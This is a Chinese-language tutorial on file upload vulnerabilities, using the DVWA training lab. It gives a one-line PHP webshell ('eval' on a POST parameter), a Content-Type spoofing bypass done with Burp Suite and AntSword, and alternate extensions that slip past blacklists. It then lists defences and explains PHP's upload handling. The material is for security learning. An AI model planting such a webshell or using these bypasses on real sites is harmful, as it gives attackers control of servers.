文件上传漏洞
@TOC
漏洞概述
文件上传漏洞是web安全中经常用到的一种漏洞形式。是对数据与代码分离原则的一种攻击。上传漏洞顾名思义,就是攻击者上传了一个可执行文件如木马,病毒,恶意脚本,WebShell等到服务器执行,并最终获得网站控制权限的高危漏洞。很多Web站点都有文件上传的接口(比如注册时上传头像等),由于没有对上传的文件夹类型进行严格的限制,导致攻击者可以上传一些恶意文件(比如Webshell)。
DVWA靶场
一、LOW
1 | <?php |
low级别没有任何防护,可直接上传Webshell
二、medium
1 | <?php |
利用burpsuite抓包
修改Content-Type为jepg.jpg,然后利用蚁剑链接url上传webshell
编写一句话木马
1 | <?php @eval($_POST['xie']); ?> |


如何防御
1、文件上传的目录设置为不可执行
只要web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响,因此这一点至关重要。
2、判断文件类型
在判断文件类型时,可以结合使用MIME Type、后缀检查等方式。在文件类型检查中,强烈推荐白名单方式,黑名单的方式已经无数次被证明是不可靠的。此外,对于图片的处理,可以使用压缩函数或者resize函数,在处理图片的同时破坏图片中可能包含的HTML代码。
3、使用随机数改写文件名和文件路径
文件上传如果要执行代码,则需要用户能够访问到这个文件。在某些环境中,用户能上传,但不能访问。如果应用了随机数改写了文件名和路径,将极大地增加攻击的成本。再来就是像shell.php.rar.rar和crossdomain.xml这种文件,都将因为重命名而无法攻击。
4、单独设置文件服务器的域名
由于浏览器同源策略的关系,一系列客户端攻击将失效,比如上传crossdomain.xml、上传包含Javascript的XSS利用等问题将得到解决。
相关函数
$_FILES变量专门用于获取上传文件的各种信息。
$_FILES[‘uploaded’][‘namek’],获取客户端文件的原名称;
$_FILES[‘uploaded’][‘tmp_name’]”,获取文件被上传后在服务端存储的临时文件名。
$target_path = DVWA_WEB_PAGE_TO_ROOT.”hackable/uploads/‘’;
指定文件上传路径为“网站根目录/hackable/uploads”
$target_path = $target_path.basename( $_FILES[‘uploaded’][‘name’]);指定上传之后的文件名及保存路径
绕过黑名单
文件上传如何绕过黑名单:使用不常见的文件后缀名,如php3,php4,phtml,asa等